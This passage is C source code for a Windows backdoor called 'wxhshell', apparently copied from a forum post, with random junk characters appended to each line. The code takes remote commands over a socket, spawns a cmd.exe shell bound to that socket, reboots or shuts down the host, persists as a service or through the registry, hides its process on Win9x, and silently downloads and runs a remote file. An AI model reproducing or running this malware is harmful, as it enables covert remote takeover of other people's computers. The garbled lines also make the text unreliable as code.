  } D~Q -:G$x  
  else { QQ =tiW  
vQoZk,  
    switch(cmd[0]) { =yJV8%pa  
  @o<B>$tbu4  
  // 帮助 cnY}^_  
  case '?': { 80gOh:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HYJEz2RF  
    break; S]e;p\8$Z  
  } }-Nc}%5  
  // 安装 c4Q%MRR  
  case 'i': { fCO<-L9k$  
    if(Install()) x'Nc}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xj]^<oi<  
    else C(xsMO'k,,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I34 1s0  
    break; 8|!"CQJ|H  
    } G8Ow;:Ro  
  // 卸载 s,|v,,<+  
  case 'r': { %r(qQM.Pl  
    if(Uninstall()) tp\d:4~R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) 2jH&}K  
    else pQ ul0]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zf\$T,t)  
    break; k$Ug;`v#  
    } lm{4x~y$h  
  // 显示 wxhshell 所在路径 VEL!-e^X&  
  case 'p': { 3r?T|>|  
    char svExeFile[MAX_PATH]; 3n_t^=  
    strcpy(svExeFile,"\n\r"); ,RAP_I!_x  
      strcat(svExeFile,ExeFile); a]8W32  
        send(wsh,svExeFile,strlen(svExeFile),0); w`/~y   
    break; *iSE)[W  
    } $>wN:uN(  
  // 重启 + :b"0pu-H  
  case 'b': { '+GYw$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #~r+Z[(,p  
    if(Boot(REBOOT)) dL1{i,M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g/i.b&  
    else { zRR^v&.9K  
    closesocket(wsh); g6][N{xW0  
    ExitThread(0); =6qSo @  
    } & }_tALg  
    break; O4^' H}*  
    } ?uF3Q)rCk  
  // 关机 Iqj?wI 1)  
  case 'd': { [a#*%H{OC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z gxMDLH  
    if(Boot(SHUTDOWN)) J8&0l&~ 6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "DecS:\  
    else { a{.-qp  
    closesocket(wsh); \rH0=~F-P  
    ExitThread(0); 'SWK{t \4  
    } s}4k^NGFJ  
    break; x*:"G'zT  
    } hXc:y0 0  
  // 获取shell ]-OF3+l4  
  case 's': { B\~(:(OPM]  
    CmdShell(wsh); Ma ]*Pled  
    closesocket(wsh); - G=doP0  
    ExitThread(0); uJ3*AO  
    break; U6YQ*%mZ_  
  } b,#?LdQ%  
  // 退出 V'l9fj*E  
  case 'x': { ]-w.x ]I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '*K%\]  
    CloseIt(wsh); q9nQ/]rkHF  
    break; ERfSJ  
    } G~f|Sx  
  // 离开 u)Vn7zh  
  case 'q': { 80LN(0?x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L,sXJ23.  
    closesocket(wsh); 8?hj}}H  
    WSACleanup(); W: 3fLXk+  
    exit(1); $$T a  
    break; [qxDCuxq  
        } yONX?cS  
  } 1 @q"rPE^  
  } +"VXw2R_e  
|#22pq?RP  
  // 提示信息 D\z`+TyJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oLt%i:,A  
} or[!C %  
  } Nbt.y 'd  
%eJE@$  
  return; .R&jRtb/E  
} JiX-t\V~  
\*30E<;C_  
// shell模块句柄 }t1J`+x%  
int CmdShell(SOCKET sock) E>YE3-]  
{ KWn.  
STARTUPINFO si; gzp]hh@4  
ZeroMemory(&si,sizeof(si)); T{*!.+E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `m-7L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dMa6hI{k  
PROCESS_INFORMATION ProcessInfo; 0G8zFe*p  
char cmdline[]="cmd"; Yo,n#<37  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BBj>ML\X  
  return 0; Y58et9gRO  
} UQJ  
+wm%`N;v<  
// 自身启动模式 *YP;HL  
int StartFromService(void) AL[,&_&uV  
{ k}e~xbh-y  
typedef struct 77%I%<#  
{ q)y<\cEO  
  DWORD ExitStatus; KOhIk*AC '  
  DWORD PebBaseAddress; le~p2l#e   
  DWORD AffinityMask; f+4j ^y}  
  DWORD BasePriority; l  !JTM  
  ULONG UniqueProcessId; u9R@rQ9r  
  ULONG InheritedFromUniqueProcessId; uVzvUz{b  
}   PROCESS_BASIC_INFORMATION; h:<?)g~U  
b4>1UZGW-  
PROCNTQSIP NtQueryInformationProcess; bfKF6  
;~n^/D2.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2:;;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Eu$hC]w  
dEPLkv  
  HANDLE             hProcess; S H6T\}X:  
  PROCESS_BASIC_INFORMATION pbi; mh,a}bX{  
A%.ZesjAx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %G'P!xQhy  
  if(NULL == hInst ) return 0; fmv,)UP  
}EN-WDJD\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,y[8Vz?:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }KR"0G[f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4 Xe8j55  
*JiI>[  
  if (!NtQueryInformationProcess) return 0; qR9!DQc'  
h|OWtf4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M^.>UZKyl  
  if(!hProcess) return 0; ?I ;PJj  
z#/"5 l   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &|fWtl;43  
O+ xzM[[  
  CloseHandle(hProcess); 8Bx58$xRq  
MCl-er"]D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ? w@)3Z=u  
if(hProcess==NULL) return 0; .T#}3C/  
!3 zN [@w,  
HMODULE hMod; JHg y&/  
char procName[255]; %;b]k  
unsigned long cbNeeded; ?vmoRX  
(9v%66y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KxQMPtHstz  
}gKJ~9Jg  
  CloseHandle(hProcess); d^d+8R  
"&@{f:+  
if(strstr(procName,"services")) return 1; // 以服务启动 zE i\#Zg$  
;3+_aoY  
  return 0; // 注册表启动 I6PReVIb  
} +6:jm54  
Uz%2{HB@{  
// 主模块 :}-izd)/j  
int StartWxhshell(LPSTR lpCmdLine) ~"r(PCa@  
{ SZ~lCdWad  
  SOCKET wsl; +-qa7  
BOOL val=TRUE; z&CBjlh  
  int port=0; NYc;Zwv9  
  struct sockaddr_in door;  huvn_  
Cm9#FA  
  if(wscfg.ws_autoins) Install(); JthU' "K  
' 1X^@]+6  
port=atoi(lpCmdLine); 5 hW#BB  
g-4ab|F  
if(port<=0) port=wscfg.ws_port; S{N=9934_  
WG +]  
  WSADATA data; 9V>C %I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "G@(Cb*+T  
aI 1tG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F:8@ ]tA&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d=dHY(ms]  
  door.sin_family = AF_INET; 8\p"V.o>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G|TnvZ KX  
  door.sin_port = htons(port); k t+h\^g  
M"6J"s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >96+s)T%;  
closesocket(wsl); uw(Ml=  
return 1; "bz]5c~  
} ll*Ez"  
&a)d,4e<M  
  if(listen(wsl,2) == INVALID_SOCKET) { t :~,7  
closesocket(wsl); B qLL]%F  
return 1; Adgfo)X5  
} )>@%;\qV  
  Wxhshell(wsl); Hz%<V *\{  
  WSACleanup(); O^@F?CG :1  
1\nzfxx  
return 0; aLlHR_  
H-mQ{K^  
} 4gZ)9ya   
fNBI!=  
// 以NT服务方式启动 ^tIYr <I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [3x},KM  
{ $-]I?cWlQ  
DWORD   status = 0; uPE Ab2u="  
  DWORD   specificError = 0xfffffff; p{+F{e  
8C@6 b4VK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9FPqd8(]*V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %evtIU<h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f?> ?jf  
  serviceStatus.dwWin32ExitCode     = 0; rV} 5&N*c  
  serviceStatus.dwServiceSpecificExitCode = 0;  VF g(:  
  serviceStatus.dwCheckPoint       = 0; pCC^Hxa  
  serviceStatus.dwWaitHint       = 0; #^(Yw|/K  
"=LeHY=9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^f9@ =I  
  if (hServiceStatusHandle==0) return; :#cJZ\YH  
"c.-`1,t  
status = GetLastError(); A[F_x*S  
  if (status!=NO_ERROR) lCTXl5J5  
{ D1@yW} 4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |<O^M q  
    serviceStatus.dwCheckPoint       = 0; F{rC{5@fj  
    serviceStatus.dwWaitHint       = 0; w9n0p0xr<  
    serviceStatus.dwWin32ExitCode     = status; T(Bcp^N  
    serviceStatus.dwServiceSpecificExitCode = specificError; J'tJY% `  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T#i~/  
    return; ;Sg,$`]  
  } i0*Cs#(=h  
T Qx<lw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 57O|e/2  
  serviceStatus.dwCheckPoint       = 0; IZ87Px>zL  
  serviceStatus.dwWaitHint       = 0; wQ[!~>A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y]+[o1]-c  
} {fjBa,o #  
| g1Cs  
// 处理NT服务事件,比如:启动、停止 @"wX#ot  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /a)^)  
{ LROrhO  
switch(fdwControl) P1Eg%Y6  
{ {u -J?(s}  
case SERVICE_CONTROL_STOP: 6']G HDK  
  serviceStatus.dwWin32ExitCode = 0; k'+y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Br.UN~q  
  serviceStatus.dwCheckPoint   = 0; V<?0(esgR  
  serviceStatus.dwWaitHint     = 0; |WSpWsr,  
  { RCoDdtMo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); At !:d3  
  } d1D=R8P_u  
  return; ZkO2*;  
case SERVICE_CONTROL_PAUSE: 8&3& ^!I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p"- %~%J=  
  break; a .?AniB0  
case SERVICE_CONTROL_CONTINUE: _+H $Pa}?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YB!f=_8  
  break; W\ mgM2p  
case SERVICE_CONTROL_INTERROGATE: 0)7v _|z  
  break; teC/Uf 5  
}; n_k`L(8*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A (p^Q  
} BPm" )DMo  
~wOMT  
// 标准应用程序主函数 E1dhj3+3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~%eE%5!k  
{ O(v>\MV  
B9$pG  
// 获取操作系统版本 W]_a_5  
OsIsNt=GetOsVer(); H K J^6|'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l*huKSX}  
eVB43]g  
  // 从命令行安装 }2:q#}"  
  if(strpbrk(lpCmdLine,"iI")) Install(); adRIg:2  
c5:0`~5Fn  
  // 下载执行文件 5rc3jIXc{|  
if(wscfg.ws_downexe) { <#199`R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^)a:D KL  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?L H[,8z  
} MgN;[4|[h  
TTbJ9O<43  
if(!OsIsNt) { {P\Ob0)q  
// 如果时win9x,隐藏进程并且设置为注册表启动 -AU'1iRcK7  
HideProc(); Om>?"=yDE  
StartWxhshell(lpCmdLine); g{uiY|  
} )EQI>1_  
else m-+>h:1b|9  
  if(StartFromService()) 5w{U/v$Z  
  // 以服务方式启动 o|c&$)m  
  StartServiceCtrlDispatcher(DispatchTable); 5wE6gRJ  
else nh80"Ny5  
  // 普通方式启动 3)9e-@  
  StartWxhshell(lpCmdLine); !'IZr{Y>  
7y42)X  
return 0; o?~27   
}
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只看该作者 1 发表于: 2006-10-10
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